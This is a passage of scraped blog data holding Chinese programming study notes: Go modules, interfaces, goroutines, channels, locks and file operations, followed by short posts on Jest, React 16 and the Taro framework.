`{\u0026quot;User\u0026quot;:\u0026quot;admin\u0026quot;,\u0026quot;Age\u0026quot;:\u0026quot;22\u0026quot;,\u0026quot;Pass\u0026quot;:\u0026quot;abc12345\u0026quot;}`\rvar datajson = Data{}\rerr := json.Unmarshal([]byte(str), \u0026amp;datajson)\rif err != nil {\rfmt.Printf(\u0026quot;转换失败 \\n\u0026quot;)\r} else {\rfmt.Printf(\u0026quot;%#v \\n\u0026quot;, datajson)\r}\r}\r包(package)是多个源码的集合，是一种代码复用方案，像fmt，time，encoding/json都是go的内置包\ngo中的包分为3种，内置包（go提供的内置包，可以直接引入使用），自定义包（自己写的包），第三方包（也是自定义包，不过不是自己写的，需要下载到本地才能使用）\n包管理器（go mod）（在1.11版本之前需要使用自定义包的话，需要将项目放在GOPATH环境变量中，1.13之后将彻底不需要GOPATH）\n初始化项目（生成go.mod来管理项目的依赖（包括go版本和要使用到的包））\ngo mod init go_test\n如果要引入go_test项目的包，需要import \u0026ldquo;go_test/包名\u0026rdquo;，包名根据package设置\npackage 包名\n注意：包名不能和文件夹的名字相同，包名不能出现-符号，一个文件夹中直接包含的文件只能归1个package，同一个package的文件不能在多个文件夹中，而且只有引入了包名为main的程序，编译后会得到可执行文件，如果没有包含main包的程序编译不会得到可执行文件\ninit()初始化函数：导入包，自动触发包内部的init()函数的调用\ngo会先从main包开始检查其导入的所有包，每个包又可能导入了其他包，因此形成了一个树状包引入关系，根据引入的顺序来决定编译的顺序\n最后导入的包最先初始化并且调用其init()函数\ngolang第三包仓库https://pkg.go.dev/\ngo install 编译并安装包（当存在GOBIN环境变量时，编译完成的二进制文件放到$GOBIN下，如果不存在默认放到GOPATH/bin下，源码默认在$HOME/sdk下）\ngo install github.com/tal-tech/go-zero@1.4.1\ngo get 全局安装包（Go 1.17版本中已被弃用，推荐使用go install ）\ngo get github.com/tal-tech/go-zero\ngo mod download 全局安装包\n依赖自动下载到$GOPATH/pkg/mod目录，多个项目可共享缓存的mod，使用该命令之前需要在项目引入第三方包\ngo mod vendor 将依赖复制到当前项目的vendor中，需要在项目引入第三方包\ngo mod vendor\n其他命令\ngo mod edit 编辑go.mod文件\ngo mod tidy 自动处理go.mod中多引入和少引入的包（没有使用的module移除，缺少引入的module将自动引入构建，确保go.mod与模块中的源代码一致）\ngo mod graph 打印模块依赖图\ngo mod verify 校验依赖，检查下载的第三方库是否本地修改，如果没有修改则返回0（校验成功），否则返回非0（校验失败）\ngo mod why 解释为啥需要包\n使用Modules\nGO111MODULE：1.12版本之前的，要设置环境变量GO111MODULE，之后就不需要了通过设置GO111MODULE来开启或者关闭go module\nGO111MODULE = off 禁用go module，编译时在GOPATH和vendor中查找包 GO111MODULE = on 启用go module，编译时忽略GOPATH和vendor，只根据go.mod下载依赖 GO111MODULE=auto 默认值，当项目在GOPATH/src之外，并且项目的根目录有go.mod文件时启用go module\nwindows设置GO111MODULE\nset GO111MODULE=on|off|auto\nMacOS或者Linux设置GO111MODULE\nexport GO111MODULE=on|off|auto\noff和auto，下载的包安装在GOPATH/src目录下\nno，下载的包安装在GOPATH/pkg/mod/下，也在这个目录下查找包（不在GOPATH/src查找）\n也可以手动修改环境变量，GO111MODULE变量，值为on|off|auto\nGOPROXY：GO代理服务器，是Go官方提供的中间代理的方式来包下载，需要设置GOPROXY环境变量\n常见的代理服务器地址：\ngoproxy.io； goproxy.cn：由国内的七牛云提供\n一键设置GOPROXY：\nwindows：go env -w GOPROXY=https://goproxy.cn,direct\nLinux或者macOS：export GOPROXY=https://goproxy.cn\n注意：go语言在1.13版本后，GOPROXY默认为https://proxy.golang.org，如果下载缓慢或者无法访问请设置为https://goproxy.cn\n也可以手动修改环境变量，GOPROXY变量，值为https://goproxy.cn\n依赖的安装（注意：需要移除把项目从GOPATH移除（GOPATH下不允许有go.mod），否则报错$GOPATH/go.mod exists but should not）\ngo get下载指定版本的依赖包\ngo get -u 升级项目中的包到最新的次要版本或者修订版本 go get -u=patch 升级项目中的包到最新的修订版本 go get 包名@版本号 下载对应包的指定版本或者将对应包升级到指定的版本，版本号可以是v1.x.x之类的，也是可以是git的分支，tag，git提交的哈希值\n手动修改go.mod，执行go mod download或者使用go get\ngo的接口（interface）是一种抽象数据类型，接口定义了对象的行为规范，只负责定义规范，并不实现，接口的规范实现由具体的对象来实现\n接口是一组函数method的集合，接口不能存在任何变量，接口中的全部方法都没有方法体\ntype TestData interface{\r// 定义一个TestData接口\rtest()\rdata()\r}\rtype Data struct {\r// 实现接口\rUser string\r}\rfunc (d Data) test() {\rfmt.Println(d.User, \u0026quot;Test\u0026quot;)\r}\rfunc (d Data) data() {\rfmt.Println(d.User, \u0026quot;Data\u0026quot;)\r}\rfunc main() {\rvar datamain TestData = Data{\r\u0026quot;root\u0026quot;,\r}\rdatamain.test()\rdatamain.data()\r}\r空接口（接口允许不定义任何方法，不定义任何方法的接口就是空接口）\ntype Maxdata interface {\r// 定义一个空接口，空接口表示没有约束，任何类型都能实现空接口\r}\rfunc main() {\rvar abc Maxdata\rvar str = \u0026quot;hallo word\u0026quot;\rabc = str\rfmt.Println(abc)\r}\rGo1.18版本已添加any关键字来表示泛型\nfunc main(){\rvar abc any\rabc = 'hallo any'\rfmt.Println(abc)\r}\r实质上any还是空接口interface{}的类型别名，type any = interface{}\n空接口也可用来当做类型，表示任意类型（类似于Java中的Object类型）\n空接口还可以用来当做函数的参数，表示可以接收任意类型的函数参数\nfunc Data(abc interface{}) {\rfmt.println(abc)\r}\r使用空接口来实现可以保存任意类型的map\nvar dataInfo = make(map[string]interface{})\rdataInfo[\u0026quot;uesr\u0026quot;] = \u0026quot;root\u0026quot;\rdataInfo[\u0026quot;age\u0026quot;] = 20\rdataInfo[\u0026quot;pass\u0026quot;] = \u0026quot;123456789\u0026quot;\r使用空接口来实现一个空接口类型的切片\nvar dataslice = make([]interface{}, 6, 6)\rdataslice[0] = \u0026quot;root\u0026quot;\rdataslice[1] = 20\rdataslice[3] = \u0026quot;123456789\u0026quot;\r类型断言\n接口的值是由具体类型和具体类型的值组成，称为接口的动态类型和动态值\n判断空接口的值的类型，需要使用类型断言，语法格式为：类型为interface{}的变量.(断言这个变量可能是的类型)\n例如：\nvar abc interface{}\rabc = 123\rvalue, isInt := abc.(int)\rif isInt {\rfmt.Println(\u0026quot;int类型, 值为：\u0026quot;, value)\r} else {\rfmt.Println(\u0026quot;不是int类型，断言失败\u0026quot;)\r}\rGo并发\n还是讲一下进程和线程的区别\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\ngo的主线程和协程（goroutine）：主线程可调起多个协程，而多协程就是可以实现并行或者并发了\n每个goroutine (协程) 默认占用内存远比 Java 、C的线程少（goroutine是2kb，加上协程调度内存开销也比线程少，因此goroutine是轻量级线程）\n通过go关键字开启goroutine即可实现协程功能，goroutine的调度由golang运行时进行管理，例如\nvar wg sync.WaitGroup // 协程计数器\rfunc data1() {\rfor i := 0; i \u0026lt; 5; i++ {\rfmt.Println(\u0026quot;hallo word\u0026quot;)\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done() // 程序结束则协程计数器减1\r}\rfunc data2() {\rfor a := 0; a \u0026lt; 5; a++ {\rfmt.Println(\u0026quot;hallo golang\u0026quot;)\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done() // 程序结束则协程计数器减1\r}\rfunc main() {\rwg.Add(1) // 协程计数器加1\rgo data1()\rwg.Add(1) // 协程计数器加1\rgo data2()\rfor i := 0; i \u0026lt; 5; i++ {\rfmt.Println(\u0026quot;hallo hahaha\u0026quot;)\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Wait() // 等待所有的协程执行完毕\rfmt.Println(\u0026quot;主线程结束\u0026quot;)\r}\r通过time.Sleep设置100毫秒定时，可以看到并没有顺序输出，因为这里使用了多协程\ngo运行时的调度器通过GOMAXPROCS参数来确定使用多少个OS线程来执行，默认值为计算机的cpu核心数，例如32核的计数器，调度器将程序同时调度到32个OS线程上，通过runtime.GOMAXPROCS()设置当前程序发时的CPU逻辑核心数，runtime.NumCPU()获取计算机的CPU核心数\n注意：go1.5版本之前，默认使用单核心，1.5版本之后默认使用全部核心数\nCpu := runtime.NumCPU() // 获取cpu个数\rfmt.Println(\u0026quot;cpu核心数:\u0026quot;, Cpu)\rruntime.GOMAXPROCS(runtime.NumCPU() - 1) // 设置要使用的CPU数量\r看看多协程实质执行效果\nvar vg sync.WaitGroup\rfunc data(num int) {\rfor i := 0; i \u0026lt;= 10; i++ {\rfmt.Printf(\u0026quot;协程%v输出的%v条数据 \\n\u0026quot;, num, i)\r}\rvg.Done()\r}\rfunc main() {\rfor i := 0; i \u0026lt;= 10; i++ {\rgo data(i)\rvg.Add(1)\r}\rvg.Wait()\rfmt.Println(\u0026quot;主线程结束\u0026quot;)\r}\r通道（channel）是传输数据的一种数据结构（类型），被用来多个goroutine之间传递信息通讯，可以让goroutine发送特定值给另一个goroutine\ngo语言的并发模型是CSP（Communicating Sequential Processes），goroutine是并发体，channel是通信\nchannel遵循先入先出（First In First Out）的规则，保证数据的顺序，channel类型是引用类型\n声明管道（通过chan关键字声明）\nvar ch1 chan int // 声明传递整型的管道\rvar ch2 chan string // 声明传递字符串的管道\r因为其是引用类型，需要使用make()声明内存空间才能使用\nch1 = make(chan int, 10) // 创建一个可以存储10个int类型的管道\rch2 = make(chan string, 10) // 创建一个可以存储10个string类型的管道\r管道具备发送数据，接收数据和关闭管道功能，其中发送和接收都使用\u0026lt;-符号表示，例如：\nch2 \u0026lt;- \u0026quot;hall word\u0026quot; // 将hall word发送到ch2管道里\rdata := \u0026lt;- ch2 // 接收ch2管道的数据\rclose(ch2) // 通过内置的close函数关闭管道\r管道也有容量，长度，用cap(), len()获取\n管道阻塞：当管道没有数据，还进行接收，就会出现阻塞，同样当管道容量不足了，还进行发送数据，也会导致阻塞\n注意：当管道被关闭，还继续给管道添加数据或者接收数据将导致panic: send on closed channel报错，如果goroutine执行完毕，管道不关闭，将抛出fatal error: all goroutines are asleep - deadlock!错误\n另外使用for range循环在管道取值，在使用for range之前一定要关闭管道，使用for循环遍历管道就不需要关闭管道了\ngoroutine和channel协作\nfunc data(ch1 chan int) {\rfor i := 0; i \u0026lt;= 5; i++ {\rfmt.Println(\u0026quot;写入:\u0026quot;, i)\rch1 \u0026lt;- i\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done()\r}\rfunc dataGet(ch1 chan int) {\rfor a := 0; a \u0026lt;= 5; a++ {\rfmt.Println(\u0026quot;接收:\u0026quot;, \u0026lt;-ch1)\rtime.Sleep(time.Millisecond * 100)\r}\rwg.Done()\r}\rfunc main() {\rch1 := make(chan int, 5)\rwg.Add(1)\rgo data(ch1)\rwg.Add(1)\rgo dataGet(ch1)\rwg.Wait()\rfmt.Println(\u0026quot;主线程结束\u0026quot;)\r}\rdata函数写入数据到ch1，dataGet函数接收数据，并且可以看到管道写入数据后，会等待接收数据\n单向管道（限制管道在函数中只能接收数据或者只能发送数据，管道默认可接收可发送）\n声明只可发送的管道（不能接收）\nvar ch = make(chan\u0026lt;- int, 5)\rch \u0026lt;- 10\r声明只可读的管道（不能发送）\nvar ch1 = make(\u0026lt;-chan int, 5)\r\u0026lt;- ch1\r使用select关键字实现多路复用，来从多个管道接收数据，因为管道的特性，没有数据可以接收会导致阻塞\nselect关键字类似于switch语句，有case分支和default分支，一个case负责一个管道的发送和接收，select会等待某个case通信操作完成，再执行case分支的语句\n例如：\nvar ch1 = make(chan int, 10)\rch1 \u0026lt;- 1\rch1 \u0026lt;- 2\rch1 \u0026lt;- 10\rch1 \u0026lt;- 8\rch1 \u0026lt;- 0\rch1 \u0026lt;- 23\rvar ch2 = make(chan string, 10)\rch2 \u0026lt;- \u0026quot;hallo word\u0026quot;\rch2 \u0026lt;- \u0026quot;hallo golang\u0026quot;\rfor {\rselect {\rcase data:= \u0026lt;- ch1:\rfmt.Println(\u0026quot;读取ch1的数据：\u0026quot;, data)\rcase data:= \u0026lt;- ch2:\rfmt.Println(\u0026quot;读取ch2的数据：\u0026quot;, data)\rdefault:\rfmt.Println(\u0026quot;所有的数据获取完毕\u0026quot;)\rreturn\r}\r}\r可以看到管道发送数据和接收数据是按照顺序的，另外使用select获取数据时，不要关闭管道（当使用完再关闭）\n并发安全和锁\n在并发环境中，可能会出现并发访问的问题，需要使用互斥锁\n互斥锁是并发时对共享资源进行控制访问的手段，使用sync标准库的Mutex结构体定义，sync.Mutex有两个指针方法，分别是Lock()和Unlock()\nvar mutex sync.Mutex // 定义锁\rmutex.Lock() // 上锁\rmutex.Unlock() // 解锁\r当禁止访问公共资源时上锁，当需要访问公共资源时解锁\n互斥锁实质上就是当一个goroutine访问时，其他goroutine不能访问，避免竞争，如果只读不写的话，也不会出现资源竞争的情况，因为写数据，需要保证数据同步，当写数据，又不能保证数据同步就是会出现资源竞争了\n读取数据和读取数据之间不会资源竞争的特性衍生出另外一种锁，叫做读写锁\n读写锁可以将多个读取并发，同时读取，并且对修改数据是完全互斥的，当一个goroutine修改数据（写）时，其他goroutine不能读取数据也是不能写数据\n在go语言中，读写锁用sync.RWMutex定义\nvar mu sync.RWMutex // 定义读写锁\rmu.RLock() // 上锁\rmu.RUnlock() // 解锁\r操作文件和目录\n使用os.Open读取文件\nfile, err := os.Open(\u0026quot;./data.txt\u0026quot;) // 读取文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\u0026quot;打开文件出错\u0026quot;)\r}\rvar bytedata = make([]byte, 1024)\rfor {\rn, err := file.Read(bytedata) // n为字节数, err是判断是否读取到末尾，值为nil没读取到末尾，值为io.EOF读取到末尾\rif err == io.EOF {\rfmt.Printf(\u0026quot;读取完毕\u0026quot;)\rbreak\r}\rfmt.Printf(\u0026quot;读取到了%v 个字节 \\n\u0026quot;, n)\rvar strdata []byte\rstrdata := append(strdata, bytedata...)\rfmt.Println(string(strdata))\r}\r另一种读取方式（bufio，读取大文件推荐使用这个）\nfile, err := os.Open(\u0026quot;./data.txt\u0026quot;) // 读取文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\u0026quot;打开文件出错\u0026quot;)\r}\rreader := bufio.NewReader(file)\rvar fileStr string\rvar count int = 0\rfor {\rstr, err := reader.ReadString('\\n')\rif err == io.EOF {\rfileStr += str\rfmt.Println(\u0026quot;读取结束\u0026quot;, count)\rbreak\r}\rif err != nil {\rfmt.Println(err)\rbreak\r}\rcount ++\rfileStr += str\r}\rfmt.Println(fileStr)\r读取小文件（ioutil）\nStrdata, err:= ioutil.ReadFile(\u0026quot;./data.txt\u0026quot;)\rif err != nil {\rfmt.Println(\u0026quot;打开文件出错\u0026quot;)\r}\rfmt.Println(string(Strdata))\r写入文件（os.OpenFile）\nfile, err := os.OpenFile(\u0026quot;./data.txt\u0026quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件\rdefer file.Close() // 关闭文件流\rif err != nil {\rfmt.Println(\u0026quot;打开文件出错\u0026quot;)\r}\rstr := \u0026quot;hallo word\u0026quot;\rfile.WriteString(str) // 写入文件\r这里os.OpenFile接收3个参数，分别是要打开的文件的路径，打开文件的模式（多个模式用|隔开），文件的权限（和Linux文件权限一样，用八进制表示，读（04），写（02），执行（01），一般为777或者755）\nos.O_WRONLY：只读 os.O_CREATE：创建 os.O_RDONLY：只读 os.O_RDWR：读写 os.O_TRUNC：清空 os.O_APPEND：追加\nbufio写入\nfile, err := os.OpenFile(\u0026quot;./main/test.txt\u0026quot;, os.O_RDWR | os.O_APPEND, 777) // 打开文件\rdefer file.Close()\rif err != nil {\rfmt.Println(\u0026quot;打开文件出错\u0026quot;)\r}\rwriter := bufio.NewWriter(file)\rwriter.WriteString(\u0026quot;hallo word\u0026quot;)\rwriter.Flush()\rioutil写入\nstr := \u0026quot;hallo word\u0026quot;\rioutil.WriteFile(\u0026quot;./data.txt\u0026quot;, []byte(str), 777)\r复制内容到文件\nStr, err := ioutil.ReadFile(\u0026quot;./data.txt\u0026quot;)\rif err != nil {\rfmt.Println(\u0026quot;读取文件出错\u0026quot;)\rreturn\r}\rioutil.WriteFile(\u0026quot;./data1.txt\u0026quot;, Str, 777)\r创建目录\nos.Mkdir(\u0026quot;./test\u0026quot;, 777)\n删除文件和目录\nos.Remove(\u0026quot;data1.txt\u0026quot;) // 删除文件\ros.Remove(\u0026quot;./test) // 删除目录\ros.RemoveAll(\u0026quot;./test1\u0026quot;) // 和Remove一样，不过这个会递归删除所有子目录和文件\r重命名\nfile := \u0026quot;./data.txt\u0026quot;\rerr1 := os.Rename(file,\u0026quot;test.txt\u0026quot;)\rif err1 != nil {\rpanic(err1)\r} else {\rfmt.Println(\u0026quot;文件重命名成功\u0026quot;)\r}\rfolder := \u0026quot;./demo\u0026quot;\rerr2 := os.Rename(folder, \u0026quot;demo1\u0026quot;)\rif err2 != nil {\rpanic(err1)\r} else {\rfmt.Println(\u0026quot;目录重命名成功\u0026quot;)\r}\r","permalink":"https://xiaochenabc123.github.io/posts/96/","summary":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main\rimport \u0026quot;fmt\u0026quot;\rfunc main(){\rfmt.Println(\u0026quot;hallo golang\u0026quot;)\r}\rgo run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;","title":"Golang学习笔记"},{"content":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){\rreturn \u0026quot;hello world\u0026quot;\r}\rhello.test.js\nconst hello = require('../hello')\rit('should ', () =\u0026gt; {\rexpect(hello()).toBe('hello world')\r})\rpackage.json\n{\r\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot;\r}\r}\r执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6\ntoBeLessThanOrEqual(6) //判断结果是否小于等于6\ntoBeCloseTo(3.14) //判断结果是否相等于3.14浮点数\ntoMatch() //判断结果正则表达式\ntoContain() //判断是否包含\nJest默认使用require引用（CommonJS），而使用import的话会报错，因此需要babel工具来将其转换为CommonJS\n当然需要安装babel\nyarn add @babel/core@7.4.5 @babel/preset-env@7.4.5 \u0026ndash;dev\n新建.babelrc文件（babel转换配置文件）\n{\r\u0026quot;presets\u0026quot;:[\r[\r\u0026quot;@babel/preset-env\u0026quot;,{\r\u0026quot;targets\u0026quot;:{\r\u0026quot;node\u0026quot;:\u0026quot;current\u0026quot;\r}\r}\r]\r]\r}\r","permalink":"https://xiaochenabc123.github.io/posts/95/","summary":"Jest是Facebook开源的一套JavaScript测试框架\n安装\n在项目中安装\nyarn add \u0026ndash;dev jest或者npm install \u0026ndash;save-dev jest\n全局安装\nyarn global add jest\nhello.js\nmodule.exports = function(){\rreturn \u0026quot;hello world\u0026quot;\r}\rhello.test.js\nconst hello = require('../hello')\rit('should ', () =\u0026gt; {\rexpect(hello()).toBe('hello world')\r})\rpackage.json\n{\r\u0026quot;scripts\u0026quot;: {\r\u0026quot;test\u0026quot;: \u0026quot;jest\u0026quot;\r}\r}\r执行测试\nyarn test或者npm run test\nexspect() //运行结果\ntoBe() //期待的结果\nnot.toBe() //判断不等\ntoBeNull() //判断是否为NULL\ntoBeUndefined() //判断是否为undefined\ntoBeDefined() //判断是否为undefined取反\ntoBeTruthy() //判断结果为true\ntoBeFalsy() //判断结果为false\ntoBeGreaterThan(5) //判断结果是否大于5\ntoBeLessThan(5) //判断结果是否小于5\ntoBeGreaterThanOrEqual(6) //判断结果是否大于等于6","title":"简单使用Jest-JavaScript测试工具"},{"content":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){\rreturn[\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;,\r\u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt;\r]\r}\r或者\nrender(){\rreturn \u0026quot;hallo word\u0026quot;\r}\r错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){\rconsole.log(error,info)\r}\rPortals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown =\r\u0026quot;**这是加粗的文字**\\n\\n\u0026quot; +\r\u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; +\r\u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; +\r\u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; +\r\u0026quot;`console.log(111)` \\n\\n\u0026quot; +\r\u0026quot;``` var a=11; ```\u0026quot;;\r\u0026lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/\u0026gt;\r","permalink":"https://xiaochenabc123.github.io/posts/94/","summary":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){\rreturn[\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;,\r\u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt;\r]\r}\r或者\nrender(){\rreturn \u0026quot;hallo word\u0026quot;\r}\r错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){\rconsole.log(error,info)\r}\rPortals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown =\r\u0026quot;**这是加粗的文字**\\n\\n\u0026quot; +\r\u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; +\r\u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; +\r\u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; +\r\u0026quot;`console.log(111)` \\n\\n\u0026quot; +\r\u0026quot;``` var a=11; ```\u0026quot;;\r\u0026lt;ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/\u0026gt;\r","title":"React进阶学习笔记"},{"content":"Taro是京东凹凸实验室推出的一个框架，设计目的是多端统一开发解决方案，一次开发，多端运行\nTaro可以使用React/Vue等前端框架开发的，当然typescript肯定是支持\nTaro官方文档：https://taro-docs.jd.com/taro/docs/README\nTaro官方组件库：https://taro-ui.jd.com/\nTaro支持微信小程序，百度小程序，支付宝小程序，字节小程序，QQ轻应用，ReactNatvie等等\nTaro 1.2支持将已有的微信小程序进行转换，只需要在项目根目录运行taro convert命令就可以在将现有的小程序项目转换到taroConvert目录下，转换成jsx代码，并且可以直接使用这个代码来进行taro build来编译成taro支持的平台应用\n安装Taro框架\nnpm install -g @tarojs/cli\n或者\nyarn global add @tarojs/cli\n升级框架\ntaro update self\n创建项目\ntaro init hallo\n创建h5项目\nyarn dev:h5\n创建微信小程序项目\nyarn dev:weapp\n创建完毕会在dist目录下生成小程序程序\n支付宝小程序 yarn dev:alipay\n百度小程序 yarn dev:swan\nReactNative yarn dev:rn\n编译完成的端源码在dist目录下\n作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的\nTaro组件化（Taro可以使用react开发，因此也具备react的组件化功能）\nimport Taro, { useState } from '@tarojs/taro'\rimport { View, Text } from '@tarojs/components'\rimport './index.less'\rfunction Main(){\rconst [count ,setUserName] = useState(\u0026quot;hallo word\u0026quot;)\rreturn ( \u0026lt;View\u0026gt;\r\u0026lt;Text\u0026gt;{count}\u0026lt;/Text\u0026gt;\r\u0026lt;/View\u0026gt;\r)\r}\rexport default Main\r子组件\nimport { View, Text } from '@tarojs/components'\rfunction Data(){\rreturn ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt;\r)\r}\rexport default Data\r如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：\nimport Taro, { Component } from '@tarojs/taro'\rclass Data extends Component{\rconfig = {\rnavigationBarTitleText: 'hallo word'\r}\rrender(){\rreturn ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;hallo word\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt;\r)\r}\r}\rexport default Data\r导入\nimport Data from \u0026lsquo;./data.jsx\u0026rsquo;\n直接在父组件中使用就好\n父组件传递参数给子组件\n学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数\nfunction Data(props){\rreturn ( \u0026lt;View\u0026gt;\u0026lt;Text\u0026gt;{props.count}\u0026lt;/Text\u0026gt;\u0026lt;/View\u0026gt;\r)\r}\rexport default 